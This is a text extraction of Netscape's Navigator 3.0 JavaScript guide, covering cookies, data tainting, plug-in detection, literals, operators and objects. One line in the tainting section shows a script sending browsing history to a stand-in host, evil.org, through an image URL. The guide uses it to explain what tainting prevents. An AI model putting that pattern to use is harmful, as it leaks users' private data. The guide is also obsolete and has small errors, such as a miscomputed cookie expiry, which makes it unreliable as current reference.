Each cookie is a small item of information with an optional expiration date and is added to the cookie file in the following format: name=value;expires=expDate; For more information on escape and unescape, see the topics in the reference section. name is the name of the datum being stored, and value is its value. If name and value contain any semicolon, comma, or blank (space) characters, you must use the escape function to encode them and the unescape function to decode them. expDate is the expiration date, in GMT date format: Wdy, DD-Mon-YY HH:MM:SS GMT Although it's slightly different from this format, the date string returned by the Date method toGMTString can be used to set cookie expiration dates. The expiration date is an optional parameter indicating how long to maintain the cookie. If expDate is not specified, the cookie expires when the user exits the current Navigator session. Navigator maintains and retrieves a cookie only if its expiration date has not yet passed.

Limitations
Cookies have these limitations
q q q

Three hundred total cookies in the cookie file. 4 Kbytes per cookie, for the sum of both the cookie's name and value. Twenty cookies per server or domain (completely specified hosts and domains are treated as separate entities and have a twenty-cookie limitation for each, not combined).

Cookies can be associated with one or more directories. If your files are all in one directory, then you need not worry about this. If your files are in multiple directories, you may need to use an additional path parameter for each cookie. For more information, see Appendix D, "Netscape cookies."

Using cookies with JavaScript


The document.cookie property is a string that contains all the names and values of Navigator cookies. You can use this property to work with cookies in JavaScript. Here are some basic things you can do with cookies:
q q

Set a cookie value, optionally specifying an expiration date. Get a cookie value, given the cookie name.

It is convenient to define functions to perform these tasks. Here, for example, is a function that sets cookie values and expiration: // Sets cookie values. Expiration date is optional

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (4 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

// function setCookie(name, value, expire) { document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString())) } Notice the use of escape to encode special characters (semicolons, commas, spaces) in the value string. This function assumes that cookie names do not have any special characters. The following function returns a cookie value, given the name of the cookie: function getCookie(Name) { var search = Name + "=" if (document.cookie.length > 0) { // if there are any cookies offset = document.cookie.indexOf(search) if (offset != -1) { // if cookie exists offset += search.length // set index of beginning of value end = document.cookie.indexOf(";", offset) // set index of end of cookie value if (end == -1) end = document.cookie.length return unescape(document.cookie.substring(offset, end)) } } } Notice the use of unescape to decode special characters in the cookie value.

Using cookies: an example


Using the cookie functions defined in the previous section, you can create a simple page users can fill in to "register" when they visit your page. If they return to your page within a year, they will see a personal greeting. You need to define one additional function in the HEAD of the document. This function, register, creates a cookie with the name TheCoolJavaScriptPage and the value passed to it as an argument. function register(name) { var today = new Date() var expires = new Date() expires.setTime(today.getTime() + 60*60*24*365) setCookie("TheCoolJavaScriptPage", name, expires) } The BODY of the document uses getCookie (defined in the previous section) to check whether the cookie for TheCoolJavaScriptPage exists and displays a greeting if it does. Then there is a form that calls register to add a cookie. The onClick event handler also calls history.go(0) to redraw the page. <BODY> <H1>Register Your Name with the Cookie-Meister</H1>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (5 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

<P> <SCRIPT> var yourname = getCookie("TheCoolJavaScriptPage") if (yourname != null) document.write("<P>Welcome Back, ", yourname) else document.write("<P>You haven't been here in the last year...") </SCRIPT> <P> Enter your name. When you return to this page within a year, you will be greeted with a personalized greeting. <BR> <FORM onSubmit="return false"> Enter your name: <INPUT TYPE="text" NAME="username" SIZE= 10><BR> <INPUT TYPE="button" value="Register" onClick="register(this.form.username.value); history.go(0)"> </FORM>

Using data tainting for security


Navigator version 2.02 and later automatically prevents scripts on one server from accessing properties of documents on a different server. This restriction prevents scripts from fetching private information such as directory structures or user session history. JavaScript for Navigator 3.0 has a feature called data tainting that retains the security restriction but provides a means of secure access to specific components on a page.
q

When data tainting is enabled, JavaScript in one window can see properties of another window, no matter what server the other window's document was loaded from. However, the author of the other window taints (marks) property values or other data that should be secure or private, and JavaScript cannot pass these tainted values on to any server without the user's permission. When data tainting is disabled, a script cannot access any properties of a window on another server.

To enable tainting, the end user sets an environment variable, as described in "Enabling tainting".

How tainting works


A page's author is in charge of tainting elements. The following properties are tainted by default:

Object document Form history

Tainted properties cookie, domain, forms, lastModified, links, referrer, title, URL action current, next, previous, toString

any form input element checked, defaultChecked, defaultValue, name, selectedIndex, toString, value

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (6 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

Select option location and Link window

defaultSelected, selected, text, value hash, host, hostname, href, pathname, port, protocol, search, toString defaultStatus, status

You can use tainted data elements any way you want in your script, but if your script attempts to pass a tainted element's value or any data derived from it over the network in any way (for example, via a form submission or URL), a dialog box is displayed so the user can confirm or cancel the operation. Values derived from tainted data elements are also tainted. If a tainted value is passed to a function, the return value of the function is tainted. If a string is tainted, any substring of the string is also tainted. If a script examines a tainted value in an if, for, or while statement, the script itself accumulates taint. You can taint and untaint properties, variables, functions, and objects, as described in "Tainting and untainting individual data elements". You cannot untaint another server's properties or data elements.

Enabling tainting
To enable data tainting, the end user sets the NS_ENABLE_TAINT environment variable as follows:
q q q

On Unix, use the setenv command in csh. On Windows, use set in autoexec.bat or NT user settings. On Macintosh, edit the resource with type "Envi" and number 128 in the Netscape application by removing the two ascii slashes "//" before the NS_ENABLE_TAINT text at the end of the resource.

NS_ENABLE_TAINT can have any value; "1" will do. If the end user does not enable tainting and a script attempts to access properties of a window on another server, a message is displayed indicating that access is not allowed. To determine whether tainting is enabled, use the taintEnabled method. The following code executes function1 if data tainting is enabled; otherwise it executes function2. if (navigator.taintEnabled()) { function1() } else function2() For details on taintEnabled, see "taintEnabled".

Tainting and untainting individual data elements


You can taint data elements (properties, variables, functions, objects) in your scripts to prevent the returned values from being used inappropriately by other scripts or propagating beyond another script. You might want to remove tainting from a data element so other scripts can read and do anything with it. You cannot untaint another server's data elements. You control the tainting of data elements with two functions: taint adds tainting to a data element, and untaint removes tainting from a data element. These functions each take a single data element as an argument.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (7 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

For example, the following statement removes taint from a property so that a script can send it to another server: untaintedStat=untaint(window.defaultStatus) // untaintedStat can now be sent in a URL or form post by other scripts Neither taint nor untaint modifies its argument; rather, both functions return a marked or unmarked reference to the argument object, or copy of the primitive type value (number or boolean value). The mark is called a taint code. JavaScript assigns a unique taint code to each server's data elements. Untainted data has the identity (null) taint code. For details on taint and untaint, see "taint" and "untaint".

Tainting that results from conditional statements


In some cases, control flow rather than data flow carries tainted information. To handle these cases, each window has a taint accumulator. The taint accumulator holds taint tested in the condition portion of if, for, and while statements. The accumulator mixes different taint codes to create new codes that identify the combination of data origins (for example, serverA, serverB, or serverC). The taint accumulator is reset to identity only if it contains the current document's original taint code. Otherwise, taint accumulates until the document is unloaded. All windows loading documents from the same origin share a taint accumulator. You can add taint to or remove taint from a window's taint accumulator.
q

To add taint to a window, call taint with no argument. JavaScript adds the current document's taint code to the accumulator. To remove taint from a window, call untaint with no argument. Calling untaint with no arguments removes taint from the accumulator only if the accumulator holds taint from the current window only; if it holds taint from operations done on data elements from other servers, untaint will have no effect. Removing taint from the accumulator results in the accumulator having only the identity taint code.

If a window's taint accumulator holds taint and the script attempts to pass data over the network, the taint codes in the accumulator are checked. Only if the accumulated script taint, the taint code of the targeted server, and the taint code of the data being sent are compatible will the operation proceed. Compatible means that either two taint codes are equal, or at least one is identity (null). If the script, server, and data taints are incompatible, a dialog box is displayed so the user can confirm or cancel the URL load or form post. Accumulated taint propagates across setTimeout and into the evaluation of the first argument to setTimeout. It propagates through document.write into generated tags, so that a malicious script cannot signal private information such as session history by generating an HTML tag with an implicitly-loaded URL SRC parameter such as the following: document.write("<img src=http://evil.org/cgi.bin/fake-img?" + encode(history) + ">")

Determining installed plug-ins


You can use JavaScript to determine whether a user has installed a particular plug-in; you can then display embedded plug-in
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (8 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

data if the plug-in is installed, or display some alternative information (for example, an image or text) if it is not. You can also determine whether a client is capable of handling a particular MIME (Multipart Internet Mail Extension) type. This section introduces the objects and properties needed for handling plug-ins and MIME types. For more detailed information on these objects and properties, see the corresponding reference topics in Part 3, "Reference." The navigator object has two properties for checking installed plug-ins: the mimeTypes array and the plugins array.

mimeTypes array
mimeTypes is an array of all MIME types supported by the client (either internally, via helper applications, or by plug-ins). Each element of the array is a MimeType object, which has properties for its type, description, file extensions, and enabled plugins. For example, the following table summarizes the values for displaying JPEG images:

Expression navigator.mimeTypes["image/jpeg"].type navigator.mimeTypes["image/jpeg"].description navigator.mimeTypes["image/jpeg"].suffixes

Value image/jpeg JPEG Image jpeg, jpg, jpe, jfif, pjpeg, pjp

navigator.mimeTypes["image/jpeg"].enabledPlugin null The following script checks to see whether the client is capable of displaying QuickTime movies. var myMimetype = navigator.mimeTypes["video/quicktime"] if (myMimetype) document.writeln("Click <A HREF='movie.qt'>here</A> to see a " + myMimetype.description) else document.writeln("Too bad, can't show you any movies.")

plugins array
plugins is an array of all plug-ins currently installed on the client. Each element of the array is a Plugin object, which has properties for its name, file name, and description as well as an array of MimeType objects for the MIME types supported by that plug-in. The user can obtain a list of installed plug-ins by choosing About Plug-ins from the Help menu. For example, the following table summarizes the values for the LiveAudio plug-in:

Expression navigator.plugins['LiveAudio'].name

Value LiveAudio

navigator.plugins['LiveAudio'].description LiveAudio - Netscape Navigator sound playing component navigator.plugins['LiveAudio'].filename navigator.plugins['LiveAudio'].length d:\nettools\netscape\nav30\ Program\plugins\NPAUDIO.DLL 7

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (9 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm

In the previous table, the length property indicates that navigator.plugins['LiveAudio'] has an array of MimeType objects containing seven elements. The property values for the second element of this array are as follows:

Expression navigator.plugins['LiveAudio'][1].type navigator.plugins['LiveAudio'][1].description navigator.plugins['LiveAudio'][1].suffixes

Value audio/x-aiff AIFF aif, aiff

navigator.plugins['LiveAudio'][1].enabledPlugin.name LiveAudio The following script checks to see whether the Shockwave plug-in is installed and displays an embedded Shockwave movie if it is: var myPlugin = navigator.plugins["Shockwave"] if (myPlugin) document.writeln("<EMBED SRC='Movie.dir' HEIGHT=100 WIDTH=100>") else document.writeln("You don't have Shockwave installed!")

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/advtopic.htm (10 of 10) [30/08/2003 9:34:03 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm

Values, variables, and literals


his chapter discusses values that JavaScript recognizes and describes the fundamental building blocks of JavaScript expressions: variables and literals.

Values
JavaScript recognizes the following types of values:
q q q q

Numbers, such as 42 or 3.14159 Logical (Boolean) values, either true or false Strings, such as "Howdy!" null, a special keyword denoting a null value

This relatively small set of types of values, or data types, enables you to perform useful functions with your applications. There is no explicit distinction between integer and real-valued numbers. Nor is there an explicit date data type in Navigator. However, you can use the Date object and its methods to handle dates. Objects and functions are the other fundamental elements in the language. You can think of objects as named containers for values, and functions as procedures that your application can perform.

Data type conversion


JavaScript is a loosely typed language. That means you do not have to specify the data type of a variable when you declare it, and data types are converted automatically as needed during script execution. So, for example, you could define a variable as follows: var answer = 42 And later, you could assign the same variable a string value, for example, answer = "Thanks for all the fish..." Because JavaScript is loosely typed, this assignment does not cause an error message.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm (1 of 5) [30/08/2003 9:34:04 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm

In expressions involving numeric and string values, JavaScript converts the numeric values to strings. For example, consider the following statements: x = "The answer is " + 42 y = 42 + " is the answer." The first statement returns the string "The answer is 42." The second statement returns the string "42 is the answer." For more information on these functions, see Chapter 9, "Built-in objects and functions." JavaScript provides several special functions for manipulating string and numeric values:
q

q q

eval attempts to evaluate a string representing any JavaScript literals or variables, converting it to a number. parseInt converts a string to an integer of the specified radix (base), if possible. parseFloat converts a string to a floating-point number, if possible.

Variables
You use variables as symbolic names for values in your application. You give variables names by which you refer to them and which must conform to certain rules. A JavaScript identifier, or name, must start with a letter or underscore ("_"); subsequent characters can also be digits (0-9). Because JavaScript is case sensitive, letters include the characters "A" through "Z" (uppercase) and the characters "a" through "z" (lowercase). Some examples of legal names are Number_hits, temp99, and _name.

Variable scope
You can declare a variable in two ways:
q q

By simply assigning it a value; for example, x = 42 With the keyword var; for example, var x = 42

When you set a variable identifier by assignment outside of a function, it is called a global variable,
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm (2 of 5) [30/08/2003 9:34:04 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm

because it is available everywhere in the current document. When you declare a variable within a function, it is called a local variable, because it is available only within the function. Using var is optional, but you need to use it if you want to declare a local variable inside a function that has already been declared as a global variable. For information on using variables across frames and windows, see Chapter 3, "Using windows and frames." You can access global variables declared in one window or frame from another window or frame by specifying the window or frame name. For example, if a variable called phoneNumber is declared in a FRAMESET document, you can refer to this variable from a child frame as parent.phoneNumber.

Literals
You use literals to represent values in JavaScript. These are fixed values, not variables, that you literally provide in your script.

Integers
Integers can be expressed in decimal (base 10), hexadecimal (base 16), and octal (base 8). A decimal integer literal consists of a sequence of digits without a leading 0 (zero). A leading 0 (zero) on an integer literal indicates it is in octal; a leading 0x (or 0X) indicates hexadecimal. Hexadecimal integers can include digits (0-9) and the letters a-f and A-F. Octal integers can include only the digits 0-7. Some examples of integer literals are: 42 0xFFF, and -345.

Floating-point literals
A floating-point literal can have the following parts: a decimal integer, a decimal point ("."), a fraction (another decimal number), an exponent, and a type suffix. The exponent part is an "e" or "E" followed by an integer, which can be signed (preceded by "+" or "-"). A floating-point literal must have at least one digit, plus either a decimal point or "e" (or "E"). Some examples of floating-point literals are 3.1415, -3.1E12, .1e12, and 2E-12

Boolean literals
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm (3 of 5) [30/08/2003 9:34:04 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm

The Boolean type has two literal values: true and false.

String literals
A string literal is zero or more characters enclosed in double (") or single (') quotation marks. A string must be delimited by quotation marks of the same type; that is, either both single quotation marks or double quotation marks. The following are examples of string literals:
q q q q

"blah" 'blah' "1234" "one line \n another line"

In addition to ordinary characters, you can also include special characters in strings, as shown in the last element in the preceding list. The following table lists the special characters that you can use in JavaScript strings.

Character Meaning \b \f \n \r \t \\ backspace form feed new line carriage return tab backslash character

Escaping characters
For characters not listed in the preceding table, a preceding backslash is ignored, with the exception of a quotation mark and the backslash character itself. You can insert quotation marks inside strings by preceding them with a backslash. This is known as escaping the quotation marks. For example, var quote = "He read \"The Cremation of Sam McGee\" by R.W. Service." document.write(quote) The result of this would be
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm (4 of 5) [30/08/2003 9:34:04 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm

He read "The Cremation of Sam McGee" by R.W. Service. To include a literal backslash inside a string, you must escape the backslash character. For example, to assign the file path c:\temp to a string, use the following: var home = "c:\\temp"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ident.htm (5 of 5) [30/08/2003 9:34:04 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

Expressions and operators


his chapter describes JavaScript expressions and operators, including assignment, comparison, arithmetic, bitwise, logical, string, and special operators.

Expressions
An expression is any valid set of literals, variables, operators, and expressions that evaluates to a single value; the value can be a number, a string, or a logical value. Conceptually, there are two types of expressions: those that assign a value to a variable, and those that simply have a value. For example, the expression x = 7 is an expression that assigns x the value seven. This expression itself evaluates to seven. Such expressions use assignment operators. On the other hand, the expression 3 + 4 simply evaluates to seven; it does not perform an assignment. The operators used in such expressions are referred to simply as operators. JavaScript has the following types of expressions:
q q q

Arithmetic: evaluates to a number, for example 3.14159 String: evaluates to a character string, for example, "Fred" or "234" Logical: evaluates to true or false

The special keyword null denotes a null value. In contrast, variables that have not been assigned a value are undefined and will cause a runtime error if used as numbers or as numeric variables. Array elements that have not been assigned a value, however, evaluate to false. For example, the following code executes the function myFunction because the array element is not defined: myArray=new Array() if (!myArray["notThere"]) myFunction()

Conditional expressions
A conditional expression can have one of two values based on a condition. The syntax is (condition) ? val1 : val2 If condition is true, the expression has the value of val1. Otherwise it has the value of val2. You can use a
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (1 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

conditional expression anywhere you would use a standard expression. For example, status = (age >= 18) ? "adult" : "minor" This statement assigns the value "adult" to the variable status if age is eighteen or greater. Otherwise, it assigns the value "minor" to status.

Operators
JavaScript has assignment, comparison, arithmetic, bitwise, logical, string, and special operators. This section describes the operators and contains information about operator precedence. There are both binary and unary operators. A binary operator requires two operands, one before the operator and one after the operator: operand1 operator operand2 For example, 3+4 or x*y. A unary operator requires a single operand, either before or after the operator: operator operand or operand operator For example, x++ or ++x.

Assignment operators
Implemented in Navigator 2.0 An assignment operator assigns a value to its left operand based on the value of its right operand. The basic assignment operator is equal (=), which assigns the value of its right operand to its left operand. That is, x = y assigns the value of y to x.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (2 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

The other operators are shorthand for standard operations, as shown in the following table:

Shorthand operator Meaning x += y x -= y x *= y x /= y x %= y x <<= y x >>= y x >>>= y x &= y x ^= y x |= y x=x+y x=x-y x=x*y x=x/y x=x%y x = x << y x = x >> y x = x >>> y x=x&y x=x^y x=x|y

Comparison operators
Implemented in Navigator 2.0 A comparison operator compares its operands and returns a logical value based on whether the comparison is true or not. The operands can be numerical or string values. When used on string values, the comparisons are based on the standard lexicographical ordering. They are described in the following table.

Operator Equal (= =) Not equal (!=) Greater than (>)

Description Returns true if the operands are equal. Returns true if the operands are not equal. Returns true if left operand is greater than right operand.

Example x == y returns true if x equals y. x != y returns true if x is not equal to y. x > y returns true if x is greater than y.

Greater than or equal (>=) Returns true if left operand is greater than or x >= y returns true if x is greater equal to right operand. than or equal to y. Less than (<) Less than or equal (<=) Returns true if left operand is less than right x < y returns true if x is less than operand. y. Returns true if left operand is less than or equal to right operand. x <= y returns true if x is less than or equal to y.

Arithmetic operators
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (3 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/). These operators work as they do in other programming languages.

Modulus (%)
Implemented in Navigator 2.0 The modulus operator is used as follows: var1 % var2 The modulus operator returns the first operand modulo the second operand, that is, var1 modulo var2, in the preceding statement, where var1 and var2 are variables. The modulo function is the floating-point remainder of dividing var1 by var2. For example, 12 % 5 returns 2.

Increment (++)
Implemented in Navigator 2.0 The increment operator is used as follows: var++ or ++var This operator increments (adds one to) its operand and returns a value. If used postfix, with operator after operand (for example, x++), then it returns the value before incrementing. If used prefix with operator before operand (for example, ++x), then it returns the value after incrementing. For example, if x is three, then the statement y = x++ sets y to three and increments x to four. If x is three, then the statement y = ++x increments x to four and sets y to four.

Decrement (--)
Implemented in Navigator 2.0 The decrement operator is used as follows: var-- or --var This operator decrements (subtracts one from) its operand and returns a value. If used postfix (for example, x-), then it returns the value before decrementing. If used prefix (for example, --x), then it returns the value after
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (4 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

decrementing. For example, if x is three, then the statement y = x-- sets y to three and decrements x to two. If x is three, then the statement y = --x decrements x to two and sets y to two.

Unary negation (-)


Implemented in Navigator 2.0 The unary negation precedes its operand and negates it. For example, x = -x negates the value of x; that is, if x were three, it would become -3.

Bitwise operators
Bitwise operators treat their operands as a set of bits (zeros and ones), rather than as decimal, hexadecimal, or octal numbers. For example, the decimal number nine has a binary representation of 1001. Bitwise operators perform their operations on such binary representations, but they return standard JavaScript numerical values. The following table summarizes JavaScript's bitwise operators

Operator Bitwise AND Bitwise OR Bitwise XOR Bitwise NOT Left shift

Usage a&b a|b a^b ~a

Description Returns a one in each bit position if bits of both operands are ones. Returns a one in a bit if bits of either operand is one. Returns a one in a bit position if bits of one but not both operands are one. Flips the bits of its operand.

a << b Shifts a in binary representation b bits to left, shifting in zeros from the right.

Sign-propagating right shift a >> b Shifts a in binary representation b bits to right, discarding bits shifted off. Zero-fill right shift a >>> b Shifts a in binary representation b bits to the right, discarding bits shifted off, and shifting in zeros from the left.

Bitwise logical operators


Implemented in Navigator 2.0 The bitwise logical operators work conceptually as follows:
q

The operands are converted to thirty-two-bit integers and expressed by a series of bits (zeros and ones).

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (5 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm
q

Each bit in the first operand is paired with the corresponding bit in the second operand: first bit to first bit, second bit to second bit, and so on. The operator is applied to each pair of bits, and the result is constructed bitwise.

For example, the binary representation of nine is 1001, and the binary representation of fifteen is 1111. So, when the bitwise operators are applied to these values, the results are as follows:
q q q

15 & 9 yields 9 (1111 & 1001 = 1001) 15 | 9 yields 15 (1111 | 1001 = 1111) 15 ^ 9 yields 6 (1111 ^ 1001 = 0110)

Bitwise shift operators


Implemented in Navigator 2.0 The bitwise shift operators take two operands: the first is a quantity to be shifted, and the second specifies the number of bit positions by which the first operand is to be shifted. The direction of the shift operation is controlled by the operator used. Shift operators convert their operands to thirty-two-bit integers and return a result of the same type as the left operator. Left shift This operator shifts the first operand the specified number of bits to the left. Excess bits shifted off to the left are discarded. Zero bits are shifted in from the right. For example, 9<<2 yields thirty-six, because 1001 shifted two bits to the left becomes 100100, which is thirtysix. Sign-propagating right shift This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Copies of the leftmost bit are shifted in from the left. For example, 9>>2 yields two, because 1001 shifted two bits to the right becomes 10, which is two. Likewise, 9>>2 yields -3, because the sign is preserved. Zero-fill right shift This operator shifts the first operand the specified number of bits to the right. Excess bits shifted off to the right are discarded. Zero bits are shifted in from the left.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (6 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

For example, 19>>>2 yields four, because 10011 shifted two bits to the right becomes 100, which is four. For non-negative numbers, zero-fill right shift and sign-propagating right shift yield the same result.

Logical operators
Implemented in Navigator 2.0 Logical operators take Boolean (logical) values as operands and return a Boolean value. They are described in the following table.

Operator Usage

Description

and (&&) expr1 && expr2 Returns true if both logical expressions expr1 and expr2 are true. Otherwise, returns false. or (||) not (!) expr1 || expr2 !expr Returns true if either logical expression expr1 or expr2 is true. If both are false, returns false. If expr is true, returns false; if expr is false, returns true.

Short-circuit evaluation
As logical expressions are evaluated left to right, they are tested for possible "short-circuit" evaluation using the following rules:
q q

false && anything is short-circuit evaluated to false. true || anything is short-circuit evaluated to true.

The rules of logic guarantee that these evaluations are always correct. Note that the anything part of the above expressions is not evaluated, so any side effects of doing so do not take effect.

String operators
Implemented in Navigator 2.0 In addition to the comparison operators, which can be used on string values, the concatenation operator (+) concatenates two string values together, returning another string that is the union of the two operand strings. For example, "my " + "string" returns the string "my string". The shorthand assignment operator += can also be used to concatenate strings. For example, if the variable mystring has the value "alpha," then the expression mystring += "bet" evaluates to "alphabet" and assigns this value to mystring.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (7 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

Special operators
new
Implemented in Navigator 2.0 You can use the new operator to create an instance of a user-defined object type or of one of the built-in object types Array, Boolean, Date, Function, Math, Number, or String. Use new as follows: objectName = new objectType ( param1 [,param2] ...[,paramN] ) For more information, see "new".

typeof
Implemented in Navigator 3.0 The typeof operator is used in either of the following ways: 1. typeof operand 2. typeof (operand) The typeof operator returns a string indicating the type of the unevaluated operand. operand is the string, variable, keyword, or object for which the type is to be returned. The parentheses are optional. Suppose you define the following variables: var var var var myFun = new Function("5+2") shape="round" size=1 today=new Date()

The typeof operator returns the following results for these variables: typeof typeof typeof typeof typeof myFun is object shape is string size is number today is object dontExist is undefined

For the keywords true and null, the typeof operator returns the following results:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (8 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

typeof true is boolean typeof null is object For a number or string, the typeof operator returns the following results: typeof 62 is number typeof 'Hello world' is string For property values, the typeof operator returns the type of value the property contains: typeof document.lastModified is string typeof window.length is number typeof Math.LN2 is number For methods and functions, the typeof operator returns results as follows: typeof typeof typeof typeof blur is function eval is function parseInt is function shape.split is function

For objects, the typeof operator returns results as follows: typeof typeof typeof typeof typeof Date is function Function is function Math is function Option is function String is function

void
Implemented in Navigator 3.0 The void operator is used in either of the following ways: 1. javascript:void (expression) 2. javascript:void expression The void operator specifies an expression to be evaluated without returning a value. expression is a JavaScript expression to evaluate. The parentheses surrounding the expression are optional, but it is good style to use them. You can use the void operator to specify an expression as a hypertext link. The expression is evaluated but is
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (9 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm

not loaded in place of the current document. The following code creates a hypertext link that does nothing when the user clicks it. When the user clicks the link, void(0) evaluates to 0, but that has no effect in JavaScript. <A HREF="javascript:void(0)">Click here to do nothing</A> The following code creates a hypertext link that submits a form when the user clicks it. <A HREF="javascript:void(document.form.submit())">Click here to submit</A> For information on creating hypertext links, see "Area" and "Link object".

Operator precedence
The precedence of operators determines the order they are applied when evaluating an expression. You can override operator precedence by using parentheses. The following table describes the precedence of operators, from lowest to highest:

Operator assignment conditional logical-or logical-and bitwise-or bitwise-xor bitwise-and equality relational bitwise shift multiply/divide call, member

Examples = += -= *= /= %= <<= >>= >>>= &= ^= |= ?: || && | ^ & == != < <= > >= << >> >>> * / % () [] .

addition/subtraction + negation/increment ! ~ - ++ -- typeof void

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/expr.htm (10 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

Object model
avaScript is based on a simple object-oriented paradigm. An object is a construct with properties that are JavaScript variables or other objects. An object also has functions associated with it that are known as the object's methods. In addition to objects that are built into the Navigator client and the LiveWire server, you can define your own objects. This chapter describes how to use objects, properties, functions, and methods, and how to create your own objects.

Objects and properties


A JavaScript object has properties associated with it. You access the properties of an object with a simple notation: objectName.propertyName Both the object name and property name are case sensitive. You define a property by assigning it a value. For example, suppose there is an object named myCar (for now, just assume the object already exists). You can give it properties named make, model, and year as follows: myCar.make = "Ford" myCar.model = "Mustang" myCar.year = 69; An array is an ordered set of values associated with a single variable name. Properties and arrays in JavaScript are intimately related; in fact, they are different interfaces to the same data structure. So, for example, you could access the properties of the myCar object as follows: myCar["make"] = "Ford" myCar["model"] = "Mustang" myCar["year"] = 67 This type of array is known as an associative array, because each index element is also associated with a string value. To illustrate how this works, the following function displays the properties of the object when you pass the object and the object's name as arguments to the function:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm (1 of 10) [30/08/2003 9:34:05 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/model.htm

function show_props(obj, obj_name) { var result = "" for (var i in obj) result += obj_name + "." + i + " = " + obj[i] + "\n" return result } So, the function call show_props(myCar, "myCar") would return the following: myCar.make = Ford myCar.model = Mustang myCar.year = 67

Functions
Functions are one of the fundamental building blocks in JavaScript. A function is a JavaScript procedure--a set of statements that performs a specific task. To use a function, you must first define it; then your script can call it.

Defining functions
A function definition consists of the function keyword, followed by
q q q

The name of the function. A list of arguments to the function, enclosed in parentheses and separated by commas. The JavaScript statements that define the function, enclosed in curly braces, { }. The statements in a function can include calls to other functions defined in the current application.

In Navigator JavaScript, it is good practice to define all your functions in the HEAD of a page so that when a user loads the page, the functions are loaded first. For example, here is the definition of a simple function named pretty_print: function pretty_print(str) { document.write("<HR><P>" + str) } This function takes a string, str, as its argument, adds some HTML tags to it using the concatenation operator (+), and then displays the result to the current document using the write method.
